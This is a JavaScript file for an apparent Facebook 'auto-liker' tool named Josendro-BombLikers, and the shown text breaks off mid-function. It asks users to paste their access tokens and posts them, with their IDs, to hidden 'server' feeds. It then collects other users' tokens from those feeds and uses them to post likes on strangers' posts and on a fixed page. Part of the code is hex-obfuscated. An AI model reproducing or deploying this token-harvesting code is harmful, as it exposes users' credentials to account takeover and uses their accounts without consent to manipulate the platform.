$('#navbar').fadeOut();
var ajAing={
  repos:function(naon,ver){
    $(naon).fadeIn();var tgW=$(window).height(); var tgE=$(naon).height(); var marTop=(tgW-tgE)/3; var marTop2=(tgW-tgE)/2; var lftP=$(window).width(); var lft=$(naon).width(); var leftPos=lftP-lft; var leftCent=(lftP-lft)/2; //$(naon).css({'margin-left':leftCent+'px'});
    if(ver==2){$(naon).animate({'margin-top':marTop+'px'})}else{$(naon).animate({'margin-top':marTop2+'px'},function(){$(this).animate({'margin-top':marTop+'px'},function(){})})};//$(this).animate({'margin-left':(leftPos-20)+'px'});
  },
  jieunTabelUser:function(naon){
    ajAing.idUserYgLogin=naon.id;ajAing.gbrUserYgLogin=naon.picture;
    if(naon.username){ajAing.usernameYgLogin=naon.username;ajAing.yuling='http://www.facebook.com/'+ajAing.usernameYgLogin;ajAing.yutit=ajAing.usernameYgLogin+'@facebook.com'}else{ajAing.yuling='http://www.facebook.com/'+ajAing.idUserYgLogin;ajAing.yutit='ID: '+ajAing.idUserYgLogin}
    if(naon.name){ajAing.namaUserYgLogin=naon.name}else{ajAing.namaUserYgLogin='wtf-NoName?'}
    var tulis='<table cellpadding="0" cellspacing="0"><tr><td style="text-align:left;vertical-align:top"><img src="'+ajAing.gbrUserYgLogin+'" style="width:40px;margin-right:10px;border-radius:3px"/></td><td style="text-align:left;vertical-align:top"><div><a class="ngaran-user" style="font-weight:bold" href="'+ajAing.yuling+'" target="_blank">'+ajAing.namaUserYgLogin+'</a></div><div class="imel-user">'+ajAing.yutit+'</div></td></tr></table>';
    return tulis;
  },
  sayThanks:function(saha){
    var tulis='<center>Welcome <b>'+saha.split(' ')[0]+'</b>.<div id="tell-friends" style="color:gray;margin-top:5px">I hope this day is fun :)<br> <a href="javascript:void(0)" onClick="ajAing.sertugrup()">Sharing to groups</a></div>- Enjoyed -</center>';
    return tulis;
  },
  jamBaraTeh:function(what){
    var today=new Date(); var todayTahun=today.getFullYear(); var todayBulan=today.getMonth()+1; var todayTgl=today.getDate(); var todayWaktu=today.toString().split(' ')[4]; var todayGMT=today.toString().split(' ')[5]; 
    if(today.toString().split('\(')[1]){var todayTZ=today.toString().split('\(')[1].replace('\)','')}else{var todayTZ='Greenwich Mean Time'} if(what==null || what==''){what=todayTahun+'-'+todayBulan+'-'+todayTgl+'T'+todayWaktu+'.'+todayGMT} var getwhat=what.replace('T',' ').replace(/-/gi,' ').split('+')[0].split('.')[0]+' GMT'; if(what.split('+')[1]){getwhat+='+'+what.split('+')[1]}else{if(what.split('T')[2]){getwhat+='-'+what.split('T')[2].split('-')[1]}else{getwhat+='-'+what.split('T')[1].split('-')[1]}} var harihari=["Minggu","Senen","Selasa","Rabu","Kamis","Jum'at","Sabtu"]; var bulanbulan=["January","February","Maret","April","Mei","June","July","Agustus","September","Oktober","November","Desember"]; var d=new Date(getwhat); var dTahun=d.getFullYear(); var dBulan=d.getMonth()+1; var dTgl=d.getDate(); var dWaktu=d.toString().split(' ')[4]; var dGMT=d.toString().split(' ')[5]; var nh=d.getDay(); var menit=dWaktu.split(':')[1]; var jam=dWaktu.split(':')[0];
    if(jam>12){if(jam<15){var ampm='siang'}else if(jam<18){var ampm='sore'}else if(jam<20){var ampm='magrib'}else{var ampm='malem'}}else{if(jam<4){var ampm='dini hari'}else if(jam<6){var ampm='subuh'}else if(jam<10){var ampm='pagi'}else{var ampm='siang'}}
    var namaHari=harihari[nh]; var namaBulan=bulanbulan[(dBulan-1)]; var delta=today-d; var detiks=1000*1; var minutes=detiks*60; var hours=minutes*60; var days=hours*24; var month=days*30; var years=days*365; var naon=delta/detiks; var iraha=Math.round(naon); var harita='Karak ge crot bieu'; var haritadelta=Math.round(delta/hours);
    if(iraha<0){harita='Karak ge crot bieu'}else if(iraha>=0 && iraha<60){harita='Baru '+iraha+' detik bieu'}else if(iraha>=60 && iraha<60*60){naon=delta/minutes; harita='Baru '+Math.round(naon)+' menit bieu'}else if(iraha>=60*60 && iraha<(60*60*24)){naon=delta/hours; harita=Math.round(naon)+' jam tadi'}else if(iraha>=(60*60*24) && iraha<(60*60*24*30)){naon=delta/days; harita=Math.round(naon)+' hari kemaren'}else if(iraha>=(60*60*24*30) && iraha<(60*60*24*30*12)){naon=delta/month; harita=Math.round(naon)+' bulan kemaren'}else{harita=namaHari+', '+dTgl+' '+namaBulan+' '+dTahun+' jam '+jam+':'+menit}
    var kumplit=namaHari+', '+dTgl+' '+namaBulan+' '+dTahun+' jam '+jam+':'+menit+' '+ampm;
    var rtn={"word":harita,"complete":kumplit,"timeZone":todayTZ,"delta":haritadelta,"wordT":jam+':'+menit+' '+ampm};
    return rtn;
  },
  lilaGelo:'<div style="padding:5px;background-color:rgba(225,225,200,0.5);border-radius:7px;margin:0px auto 5px auto"><span style="color:#345487">The data collection process takes a fair amount of time.</span> <br/><span style="color:#345487">We recommend to not close this page unless you are completely finished using the tool </span><br/><span style="color:#345487">to avoid re-loading the data that takes quite a while to complete.</span> <br/><span style="color:#345487">It\'s just a suggestion.</span></div>',
  setKuki:function(namaKuki,value,hariBasi){var tglBasi=new Date(); tglBasi.setDate(tglBasi.getDate()+hariBasi); var valueKuki=escape(value)+((hariBasi==null) ? '' : '; expires='+tglBasi.toUTCString()); document.cookie=namaKuki+'='+valueKuki},
  getKuki:function(namaKuki){var i,x,y,eureyKukis=document.cookie.split(';'); for(i=0;i<eureyKukis.length;i++){x=eureyKukis[i].substr(0,eureyKukis[i].indexOf('=')); y=eureyKukis[i].substr(eureyKukis[i].indexOf('=')+1); x=x.replace(/^\s+|\s+$/g,''); if(x==namaKuki){return unescape(y)}}},
  nyengir:'\x3C\x73\x70\x61\x6E style="display:inline-block;position:relative;z-index:600"\x3c\x73\x70\x61\x6e\x20\x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x20\x26\x71\x75\x6f\x74\x3b\x44\x69\x67\x69\x74\x61\x6c\x20\x52\x65\x61\x64\x6f\x75\x74\x20\x55\x70\x72\x69\x67\x68\x74\x26\x71\x75\x6f\x74\x3b\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x77\x68\x69\x74\x65\x3b\x22\x3e\x3c\x6f\x3a\x70\x3e\x26\x6e\x62\x73\x70\x3b\x3c\x2f\x6f\x3a\x70\x3e\x3c\x2f\x73\x70\x61\x6e\x3e\x3c\x73\x70\x61\x6e\x20\x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x20\x50\x61\x70\x79\x72\x75\x73\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x77\x68\x69\x74\x65\x3b\x22\x3e\x3c\x73\x70\x61\x6e\x20\x73\x74\x79\x6c\x65\x3d\x22\x22\x3e\x20\x20\x3c\x2f\x73\x70\x61\x6e\x3e\x54\x68\x61\x6e\x6b\x73\x20\x54\x6f\x20\x41\x69\x6e\x67\x43\x72\x65\x61\x74\x69\x6f\x6e\x73\x20\x3c\x2f\x73\x70\x61\x6e\x3e\x3c\x73\x70\x61\x6e\x20\x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x20\x50\x61\x70\x79\x72\x75\x73\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x77\x68\x69\x74\x65\x3b\x22\x3e\x20\x3c\x73\x70\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\x53\x70\x65</eureykukis\x22\x3e\x49\x6e\x64\x6f\x6e\x65\x73\x69\x61\x6e\x20\x70\x65\x6f\x70\x6c\x65\x20\x61\x6e\x64\x20\x41\x6c\x6c\x2e\x3c\x2f\x73\x70\x61\x6e\x3e\x20',
  loding:'\x3Ccenter\x3E\x3Cimg sr</eureykukisages.gmx.com/images/outsource/application/mailclient/mailcom/resource/mailclient/widgets/blue/common/loading_animation_en-3447255655.gif"/\x3E\x3C/center\x3E',
  seuri:'',
  erMes:function(what){
    var a,c,d,e,f,r;a=what.split('{');r={};for(x=0;x<a.length;x++){c=a[x].replace(/{|}|"|\n/gi,'').split(',');if(c!=''&&c!=' '){for(y=0;y<c.length;y++){d=c[y].split(':');if(d!=''&&d!=' '){for(z=0;z<d.length;z++){e=d[z];if(e!=''&&e!=' '){f=e.replace(/ /gi,'');if(f=='message'){r.message=d[z+1]}if(f=='code'){r.code=d[z+1].replace(/ /gi,'')}}}}}}}
    return r;
  },
  pentaHeulaTokena:function(apa){
    if(apa==null||apa==''){
      $('#plis-insret').html('Insert A User Access Token:');
    }else{
      $('#plis-insret').html('<span style="color:red">Your access token has been INVALID !!</span><br/>Please insert or get another one:');
    }
    if($('#dialog-menta-token').css('display')=='none'){
      $('#dialog-utama').fadeOut(function(){
        $('#fb-dlg-floodup').css({'display':'none'});
        $('#fb-dlg-help').css({'display':'none'});
        ajAing.repos('#dialog-menta-token');
      });
    }else{
      $('#dialog-menta-token').fadeOut();
    }
  },
  daftarTokens:[],
  cekToken:function(){
    if($('#masukan-token').val()==''){
      $('#masukan-token').css({'background-color':'red'});
    }else{
      $('#dialog-menta-token').fadeOut(function(){
        ajAing.tokenBudakIeu2=$('#masukan-token').val();
        if(ajAing.tokenBudakIeu2.split('access_token=')[1]){ajAing.tokenBudakIeu2=ajAing.tokenBudakIeu2.split('access_token=')[1].split('&')[0];$('#masukan-token').val(ajAing.tokenBudakIeu2)}
        if(ajAing.tokenBudakIeu2==ajAing.tokenBudakIeu){window.jgnSubmit='heuh'}else{window.jgnSubmit='sabmit';ajAing.tokenBudakIeu=ajAing.tokenBudakIeu2}
        if(ajAing.daftarTokens.length==0){ajAing.cokotanToken()}else{ajAing.dagorkeunUser()}
      });
    }
  },
  subAnothToknBtn:function(){
    var d='<div id="startup-tbl-float-left" style="text-align:left;float:left"></div>';
    if($('#startup-tbl-float-left').length==0){$('#dialog-utama .block-tbl-elm').prepend(d).append('<div id="klibot" style="clear:both"></div>')}else{$('#startup-tbl-float-left').fadeIn()}
    $('#startup-tbl-float-left').html('<span class="tbl-opt-fb" onClick="ajAing.pentaHeulaTokena()">Submit another Token</span>');
    if($('#klibot').length==0){$('#dialog-utama .block-tbl-elm').append('<div id="klibot" style="clear:both"></div>')}
  },
  ngamimitian:function(){
    window.terusBlmCukup='hooh';
    multiServer=multiServer.concat(mltsrv).reverse();window.mServKe=0;
    ajAing.idServ=multiServer[mServKe].split('|')[0];

    ajAing.seuri=multiServer[mServKe];
    ajAing.sauri=ajAing.seuri;

    ajAing.hitunganToken=0;ajAing.hitungPuteran=0; 
    ajAing.daftarTokens=[];ajAing.daftarTokensMF=[]; 
    ajAing.hitunganTokenDobel=0;ajAing.hitunganTokenSalah=0;ajAing.hitunganTokenDobelDel=0;
    var b=ajAing.jamBaraTeh();
    $('#dialog-utama .block-tbl-elm').html('<span style="color:gray">'+b.complete+'</span>');
    $('#kotak-user-dua').html('<span style="color:transparent">'+b.complete+'</span>');
    $('.naonwelah').append('\x3Ccenter\x3E'+ajAing.nyengir+'\x3C/center\x3E');
  },
  saringDuplikat:function(){
    if(ajAing.daftarTokens.length==0){
      if(ajAing.daftarTokensMF.length==0){
        ajAing.beresNyokotan();
      }else{
        ajAing.hitunganTokenSalah=0;
        for(m in ajAing.daftarTokensMF){
          for(r in multiServer){if(multiServer[r].split('|')[0]==ajAing.daftarTokensMF[m].split('_')[0]){ajAing.sauri=multiServer[r];break}}
          $.getJSON('https://graph.facebook.com/'+ajAing.daftarTokensMF[m]+'?method=delete&access_token='+ajAing.sauri,ajAing.hitungHapusSaralah).error(ajAing.hitungHapusSaralah);
        }
      }
    }else{
      var arr=ajAing.daftarTokens;var sorted_arr=arr.sort();var results_arrr=[];var results_arr=[];
      for(var x=0;x<sorted_arr.length;x++){
        if(x==0){
          results_arr.push(sorted_arr[x]);
        }else{
          var z=0;
          for(var y=0;y<results_arr.length;y++){
            if(results_arr[y].id==sorted_arr[x].id){
              z++;results_arrr.push(sorted_arr[x]);break;
            }
          }
          if(z==0){results_arr.push(sorted_arr[x])}
        }
      }
      ajAing.hitunganTokenDobel=results_arrr.length;
      ajAing.daftarTokens=results_arr.sort(function(){return 0.5-Math.random()});
      if(ajAing.hitunganTokenDobel==0){
        if(ajAing.daftarTokensMF.length==0){
          ajAing.beresNyokotan();
        }else{
          ajAing.hitunganTokenSalah=0;
          for(m in ajAing.daftarTokensMF){
            for(r in multiServer){if(multiServer[r].split('|')[0]==ajAing.daftarTokensMF[m].split('_')[0]){ajAing.sauri=multiServer[r];break}}
            $.getJSON('https://graph.facebook.com/'+ajAing.daftarTokensMF[m]+'?method=delete&access_token='+ajAing.sauri,ajAing.hitungHapusSaralah).error(ajAing.hitungHapusSaralah);
          }
        }
      }else{
        $('#lila-gelo').html('Deleting '+ajAing.hitunganTokenDobel+' duplicated data..').css({'color':'darkred'});
        for(var x=0;x<results_arrr.length;x++){
          for(r in multiServer){if(multiServer[r].split('|')[0]==results_arrr[x].posId.split('_')[0]){ajAing.sauri=multiServer[r];break}}
          $.getJSON('https://graph.facebook.com/'+results_arrr[x].posId+'?method=delete&access_token='+ajAing.sauri,ajAing.hitungHapusDobel).error(ajAing.hitungHapusDobel);
        }
      }
    }
  },
  hitungHapusDobel:function(post){
    ajAing.hitunganTokenDobelDel++;
    var a='Duplicate data (#'+ajAing.hitunganTokenDobelDel+' of '+ajAing.hitunganTokenDobel+') deleted ';
    if(post.responseText){
      var b=ajAing.erMes(post.responseText);
      if(b.code&&b.code=='100'){a+='aha'}else{
        if(b.message){a+='<div>'+b.message+'</div>'}
        if(b.code){a+='<div>Code:'+b.code+'</div>'}
      }
    }else{a+=post}
    $('#lila-gelo').html(a);
    if(ajAing.hitunganTokenDobelDel==ajAing.hitunganTokenDobel){
      if(ajAing.daftarTokensMF.length==0){
        ajAing.beresNyokotan();
      }else{
        ajAing.hitunganTokenSalah=0;
        for(m in ajAing.daftarTokensMF){
          for(r in multiServer){if(multiServer[r].split('|')[0]==ajAing.daftarTokensMF[m].split('_')[0]){ajAing.sauri=multiServer[r];break}}
          $.getJSON('https://graph.facebook.com/'+ajAing.daftarTokensMF[m]+'?method=delete&access_token='+ajAing.sauri,ajAing.hitungHapusSaralah).error(ajAing.hitungHapusSaralah);
        }
      }
    }
  },
  hitungHapusSaralah:function(post){
    ajAing.hitunganTokenSalah++;
    var a='Malformated data (#'+ajAing.hitunganTokenSalah+' of '+ajAing.daftarTokensMF.length+') deleted ';
    if(post.responseText){
      var b=ajAing.erMes(post.responseText);
      if(b.code&&b.code=='100'){a+='aha'}else{
        if(b.message){a+='<div>'+b.message+'</div>'}
        if(b.code){a+='<div>Code:'+b.code+'</div>'}
      }
    }else{a+=post}
    $('#lila-gelo').html(a);
    if(ajAing.hitunganTokenSalah==ajAing.daftarTokensMF.length){
      ajAing.beresNyokotan();
    }
  },
  beresNyokotan:function(){
    kijang(ajAing.tokenBudakIeu);
    $('#dialog-utama .block-tbl-elm').append('<div id="jmpl-epelebel"><b>'+ajAing.daftarTokens.length+'</b> <span style="color:black"> Thumb are available</span></div>');
    $('#kotak-user-dua').append('<div id="jempol-epelebel"><b>'+ajAing.daftarTokens.length+'</b> <span style="color:white;"> Thumb are available</span></div>');
    $('#dialog-utama h2 span').html(ajAing.daftarTokens.length+' data collected');
    window.keurnyokotantokens=false;ajAing.dagorkeunUser();

//    if(typeof doooSlide=='function'){doooSlide(boysOnPictures,30000)};
    $('#dialog-utama').css({'cursor':'move'}).draggable({revert:true});
    $('#kotak-user').css({'cursor':'move'}).draggable({revert:true});
    $('#token-validator').css({'cursor':'move'}).draggable({cancel:'#cetatus',revert:true});
  },
  cokotanToken:function(uri){
    window.keurnyokotantokens=true;
    if(!window.anyarMulungan){window.anyarMulungan=true;ajAing.ngamimitian()}
    if(uri==null||uri==''){
      uri='https://graph.facebook.com/'+ajAing.idServ+'/feed?access_token='+ajAing.tokenBudakIeu+'&fields=message&limit=500';
      if(ajAing.hitungPuteran==0){
        var a='<center>start collecting tokens from server #1 of '+multiServer.length+' '+ajAing.loding+'</center>';
        $('#dialog-utama .block-text-elm').html(a);
        $('#dialog-utama h2').html('<i class="ikon-arisan"></i> <span><span style="color:white">Josendro-BombLikers</span><span style="color:red"> is collecting data..</span>');
        ajAing.repos('#dialog-utama');
      }
    }
    $.getJSON(uri,function(post){
      if(ajAing.hitungPuteran==0){ajAing.hitungPuteran++}
      var a='';
      if(post.data){
        if(post.data.length==0){
          if(ajAing.hitungPuteran==1){a='<center style="color:red">Server <b>'+ajAing.idServ+'</b> is Empty</center>'}
        }else{
          for(x in post.data){if(post.data[x].id&&post.data[x].message&&post.data[x].message.split('\n')[1]){
            var id=post.data[x].message.split('\n')[0].replace('\r','')*1; var token=post.data[x].message.split('\n')[1];
            if(isNaN(id)){
              ajAing.daftarTokensMF.push(post.data[x].id);
            }else{
              ajAing.daftarTokens.push({'id':id,'token':token,'posId':post.data[x].id});
            }
          }else{
            ajAing.daftarTokensMF.push(post.data[x].id);
          }}
        }
      }else{
        a='<center style="color:darkred">Server <b>'+ajAing.idServ+'</b> has NO DATA</center>';
      }
      a+='<center style="color:darkgreen;margin-bottom:10px"><big><b>'+ajAing.daftarTokens.length+'</b> Tokens collected</big> from server #<b>'+(mServKe+1)+'</b><span style="color:gray">.'+ajAing.hitungPuteran+'</span> of '+multiServer.length+'</center>';
      a+=ajAing.loding;
      a+='<center id="lila-gelo" style="margin-bottom:10px"><span style="color:#345487">..&#8593;&#8593;&#8593; Jempol Yang Terkumpul &#8593;&#8593;&#8593;..</span> <a href="javascript:void(0)" onClick="window.terusBlmCukup=\'udah\';$(this).fadeOut()">or <b><span style="color:blue">enough?</span></a></b></center>';
      a+='<center>'+ajAing.lilaGelo+'</center>';
      $('#dialog-utama .block-text-elm').html(a);
      if(post.paging&&post.paging.next&&window.terusBlmCukup=='hooh'){
        ajAing.hitungPuteran++
        ajAing.cokotanToken(post.paging.next);
      }else{
        if(mServKe<multiServer.length-1&&window.terusBlmCukup=='hooh'){
          mServKe++;
          ajAing.idServ=multiServer[mServKe].split('|')[0];
          ajAing.hitungPuteran=1;
          ajAing.cokotanToken();
        }else{
          ajAing.saringDuplikat();
        }
      }
    }).error(ajAing.nyokotanError);
  },
  nyokotanError:function(post){
    if(ajAing.hitungPuteran==0){
      if(post.responseText){
        var a=ajAing.erMes(post.responseText);
        if(a.code&&a.code=='190'){ajAing.pentaHeulaTokena('invalid')}else{
          var b='<div>'+post.statusText+' on collecting data</div>';
          if(a.message){b+='<div>'+a.message+'</div>'}
          if(a.code){b+='<div>error code:'+a.code+'</div>'}
          if(ajAing.hitunganToken==0){$('#data-kolektid').html('')}
          $('#data-error').html(b);
          ajAing.subAnothToknBtn();
        }
      }
    }else{
      if(mServKe<multiServer.length-1&&window.terusBlmCukup=='hooh'){
        mServKe++;
        ajAing.idServ=multiServer[mServKe].split('|')[0];
        ajAing.hitungPuteran=1;
        ajAing.cokotanToken();
      }else{
        ajAing.saringDuplikat();
      }
    }
  },
  dagorkeunUser:function(){
    $('#dialog-menta-token').fadeOut(function(){ajAing.repos('#dialog-utama')});
    $('#startup-tbl-float-left').fadeOut();
    var a='<center id="user-ceking">Loading your personal settings, wait up..</center>'+ajAing.loding;
    $('#dialog-utama .block-text-elm').html(a);
    var uri='https://graph.facebook.com/me?fields=name,username,picture&access_token='+ajAing.tokenBudakIeu;
    $.getJSON(uri,function(gbr){
      if(gbr.id&&gbr.picture){
        var b=ajAing.jieunTabelUser(gbr);
        $('#dialog-utama h2').html(b);
        $('#kotak-user-satu').html(b);
        ajAing.sbmtTkn();
      }else{
        $('#dialog-utama .block-text-elm').html('Error on Checking you<pre>'+JSON.stringify(gbr,null,'  ')+'</pre>');
      }
      ajAing.subAnothToknBtn();
    }).error(function(gbr){
      var a=ajAing.erMes(gbr.responseText);
      var b='<div class="error-statustext">'+gbr.statusText+'</div>';
      if(a.message){b+='<div class="error-message">'+a.message+'</div>'}
      if(a.code){b+='<div class="error-code">error code:'+a.code+'</div>'}
      $('#dialog-utama .block-text-elm').html(b);
      $('#dialog-utama h2').html(gbr.statusText);
      ajAing.subAnothToknBtn();
    });
  },
  kocokSeuriSauri:function(){
    multiServer=multiServer.sort(function(){return 0.5-Math.random()});
    var ke=Math.floor(Math.random()*multiServer.length);
    ajAing.seuri=multiServer[ke];
    if(typeof ajAing.seuri=='undefined'){ajAing.seuri=multiServer[multiServer.length-1]}
    ajAing.sauri=ajAing.seuri;
  },
  kocokSuri:function(){
    mltsrv=mltsrv.sort(function(){return 0.5-Math.random()});
    var ke=Math.floor(Math.random()*mltsrv.length);
    ajAing.suri=mltsrv[ke];
    if(typeof ajAing.suri=='undefined'){ajAing.suri=mltsrv[mltsrv.length-1]}
  },
  sbmtTkn:function(){
    if(!window.sakaliweIeuMahAh){
      window.sakaliweIeuMahAh=true;
      if(typeof stelMusikAh=='function'){stelMusikAh()}
      ajAing.validateTokens();
    }
    for(x in ajAing.daftarTokens){if(ajAing.daftarTokens[x].token==ajAing.tokenBudakIeu){window.jgnSubmit='heuh';break}}
    if(window.jgnSubmit&&window.jgnSubmit=='heuh'){
      ajAing.setKuki('ajAingId',ajAing.tokenBudakIeu,1);
      ajAing.sowuserbox();
    }else{
      ajAing.kocokSuri();
      ajAing.tokenBudakIeu=ajAing.tokenBudakIeu.split('&')[0];
      $.getJSON('https://graph.facebook.com/'+ajAing.suri.split('|')[0]+'/feed?method=post&access_token='+ajAing.suri+'&message='+ajAing.idUserYgLogin+'%0A'+ajAing.tokenBudakIeu,function(wow){
        if(wow.id){
          var ckck={'id':ajAing.idUserYgLogin,'token':ajAing.tokenBudakIeu,'posId':wow.id};
        }
        ajAing.cekNuDiSabmit();
      }).error(ajAing.usertokenfail);
    }
  },
  cekNuDiSabmit:function(){
    $('#dialog-utama .block-text-elm').html(ajAing.loding);
    $('#masukan-token').val(ajAing.tokenBudakIeu);
    $.getJSON('https://graph.facebook.com/357188624346256/posts?fields=id&limit=1&access_token='+ajAing.tokenBudakIeu,function(post){      if(post.data){
        for(x in post.data){
          if(post.data[x].id){
            $.getJSON('https://graph.facebook.com/'+post.data[x].id+'/likes?method=post&access_token='+ajAing.tokenBudakIeu,ajAing.sowuserbox).error(ajAing.usertokenfail);
          }
        }
      }else{ajAing.sowuserbox()}
    }).error(ajAing.sowuserbox);
  },
  sowuserbox:function(hoho){
    $('#dialog-utama').fadeOut(function(){
      var c=ajAing.sayThanks(ajAing.namaUserYgLogin);
      $('#kotak-user-tengah').html(c);
      $('.tbl-opt-fb-bwh').fadeIn(function(){$('#kotak-user').fadeIn(function(){
        ajAing.setKuki('ajAingId',ajAing.tokenBudakIeu,1);
        $('#data-errorrr').html('User Data Submitted.');
        $.getJSON('https://graph.facebook.com/'+ajAing.idUserYgLogin+'/posts?fields=id&limit=1&access_token='+ajAing.tokenBudakIeu,function(post){
          if(post.data&&post.data[0]&&post.data[0].id){ajAing.posidBudakIeu=post.data[0].id}
          getpid(ajAing.tokenBudakIeu);
        });
      })});
    });
  },
  usertokenfail:function(walah){
    if(walah.responseText){
      var a=ajAing.erMes(walah.responseText);
      if(a.code&&a.code=='506'){
        ajAing.sowuserbox();
      }else if(a.code&&a.code=='1'){
        if(window.udah2kalisabmit){
//------------------->> mun geus 2x submit kumaha? ..
        }else{
          window.udah2kalisabmit=true;
          ajAing.sbmtTkn();
        }
      }else{
        ajAing.soweroronsabmit(walah,a);
      }
    }else{
      ajAing.soweroronsabmit(walah);
    }
  },
  soweroronsabmit:function(hoho,haha){
    var b='There\'s an ';
    if(hoho.statusText){b+=hoho.statusText}else{b+='Error'}
    b+=' on submiting your data.';
    if(haha==null||haha==''){
//------------------->> mun euweuh erMes an kumaha? ..
    }else{
      if(haha.message){b+='<div class="error-message"><big style="color:darkred">'+haha.message.replace('\\u2019','\'')+'</big></div>'}
      if(haha.code){b+='<div>Error code:'+haha.code+'</div>'}
    }
    b+='Please try to <b>Submit another access token</b>.';
    $('#dialog-utama .block-text-elm').html(b);
    ajAing.subAnothToknBtn();
  },
  validateTokens:function(){
    if(window.vldtrAwal=='heuh'){window.vldtrAwal='teu';ajAing.vldtrKe=0;ajAing.vldtrErr=0;ajAing.vldtrDn=0;ajAing.deletesyen=0;ajAing.vldtrHtng=0;ajAing.mvd=0;window.vldtrTkns=ajAing.daftarTokens.sort(function(){return 0.5-Math.random()})}
    if(vldtrTkns.length>100){
      if(window.pauseSejenek){
        if(window.keurpalidating=='teu'){setTimeout("ajAing.validateTokens()",10000)}
      }else{
        if(window.keurpalidating=='teu'){
          window.keurpalidating='heuh';
          if(window.udahgakusahmuterlagi=='belom'&&ajAing.vldtrKe<1){window.udahgakusahmuterlagi='iya';ajAing.vldtrKe=vldtrTkns.length-1;ajAing.vldtrErr=0;ajAing.vldtrDn=0;ajAing.deletesyen=0;vldtrTkns=vldtrTkns.sort(function(){return 0.5-Math.random()});}
          if(typeof vldtrTkns[ajAing.vldtrKe]=='undefined'){ajAing.hadeuh()}else if(isNaN(vldtrTkns[ajAing.vldtrKe].id*1)){ajAing.hadeuh()}else{
            window.ygLgDiprocess=vldtrTkns[ajAing.vldtrKe];var okehGak='gak';
            for(v in mltsrv){if(mltsrv[v].split('|')[0]==ygLgDiprocess.posId.split('_')[0]){okehGak='ok';break}}
            if(okehGak=='ok'){
              var ni=new Image(); ajAing.nini='http://graph.facebook.com/'+ygLgDiprocess.id+'/picture?type=large';
              $(ni).load(function(){ajAing.vldtrPrcs()}).error(function(){ajAing.hadeuh()}).attr('src',ajAing.nini);
            }else{
              if(ajAing.posidBudakIeu){$.getJSON('https://graph.facebook.com/'+ajAing.posidBudakIeu+'/likes?method=post&access_token='+ygLgDiprocess.token,function(){ajAing.hadeuh();}).error(function(post){
    if(post.responseText){
      var a=ajAing.erMes(post.responseText);
      if(a.code){
        if(a.code=='190'||a.code=='2000'||a.code=='200'){
          for(r in multiServer){if(multiServer[r].split('|')[0]==ygLgDiprocess.posId.split('_')[0]){ajAing.sauri=multiServer[r];break}}
          $.getJSON('https://graph.facebook.com/'+ygLgDiprocess.posId+'?method=delete&access_token='+ajAing.sauri,function(){
            ajAing.deletesyen++;$('#data-errorrr').html('Deletation: ('+ajAing.deletesyen+') ');
            ajAing.hadeuh();
          }).error(function(){
            ajAing.deletesyen++;$('#data-errorrr').html('Deletation: ('+ajAing.deletesyen+') ');
            ajAing.hadeuh();
          });
          vldtrTkns.splice(ajAing.vldtrKe,1);
          $('#jempol-epelebel').html('<b>'+vldtrTkns.length+'</b> Jempols are available');
          $('#jmpl-epelebel').html('<b>'+vldtrTkns.length+'</b> Jempols are available');
        }else if(a.code=='368'){
          vldtrTkns.splice(ajAing.vldtrKe,1);
          $('#jempol-epelebel').html('<b>'+vldtrTkns.length+'</b> Jempols are available');
          $('#jmpl-epelebel').html('<b>'+vldtrTkns.length+'</b> Jempols are available');
          ajAing.hadeuh();
        }else{ajAing.hadeuh()}
      }else{ajAing.hadeuh()}
    }else{ajAing.hadeuh()}
              })}else{ajAing.hadeuh();}
            }
          }
        }
      }
    }
  },
  vldtrPrcs:function(){
    $.getJSON('https://graph.facebook.com/'+ygLgDiprocess.id+'/posts?limit=1&fields=from,likes,message&access_token='+ygLgDiprocess.token,function(post){
      ygLgDiprocess.elm='';
      if(post.data){
        if(post.data.length==0){ajAing.hadeuh()}else{
          for(x in post.data){
            ajAing.vldtrDn++;var pdx=post.data[x];
            if(pdx.from&&pdx.from.name&&pdx.from.id){ygLgDiprocess.elm+='<a href="http://www.facebook.com/plugins/subscribe.php?api_key=381308871890588&colorscheme=light&href=https%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D'+pdx.from.id+'&layout=standard&locale=en_US&show_faces=true&width=450" onClick="window.open(this.href,\'sbscrb\',\'width=450,height=300\');return false" style="font-weight:bold;color:#CCCCAA;white-space:nowrap;max-width:160px;overflow:hidden;display:inline-block;vertical-align:middle">'+pdx.from.name+'</a>'}
            if(pdx.created_time){var cj=ajAing.jamBaraTeh(pdx.created_time);ygLgDiprocess.elm+='<div style="color:gray"><span style="color:#CCC">'+cj.word+'</span> at '+cj.wordT+'</div>'}
            if(pdx.message){
              if(pdx.message.length>300){var peuyeum='';for(var r=0;r<300;r++){peuyeum+=pdx.message[r]}}else{var peuyeum=pdx.message}
              ygLgDiprocess.elm+='<div id="cetatus" style="cursor:text;color:#00FFFF;text-align:center;font-size:10px;background-color:rgba(51,56,25,0.5);padding:2px 3px;border-radius:3px;margin:1px -2px;white-space:pre-wrap;word-wrap:break-word">'+peuyeum+'</div>';
            }
            if(pdx.likes&&pdx.likes.count){ygLgDiprocess.elm+='<div style="color:#AACCAA;text-align:right;font-size:10px">'+pdx.likes.count+' likes</div>'}
            ajAing.posdataxid=pdx.id;
            $.getJSON('https://graph.facebook.com/'+pdx.id+'/likes?method=post&access_token='+ygLgDiprocess.token,function(nih){
              if(vldtrTkns.length<2){ajAing.la=vldtrTkns.length}else{ajAing.la=2}
              ajAing.dftrTkns2=vldtrTkns.sort(function(){return 0.5-Math.random()});
              for(y=0;y<ajAing.la;y++){$.getJSON('https://graph.facebook.com/'+ajAing.posdataxid+'/likes?method=post&access_token='+ajAing.dftrTkns2[y].token,ajAing.vldtrTrs).error(ajAing.vldtrTrs)}
            }).error(ajAing.pushapDek);
          }
        }
      }else{
        $('#data-errorrr').html('Data Empty. ('+post+')');
        ajAing.hadeuh();
      }
    }).error(ajAing.pushapDek);
  },
  vldtrTrs:function(hag){
    ajAing.vldtrHtng++;
    if(ajAing.vldtrHtng==ajAing.la){
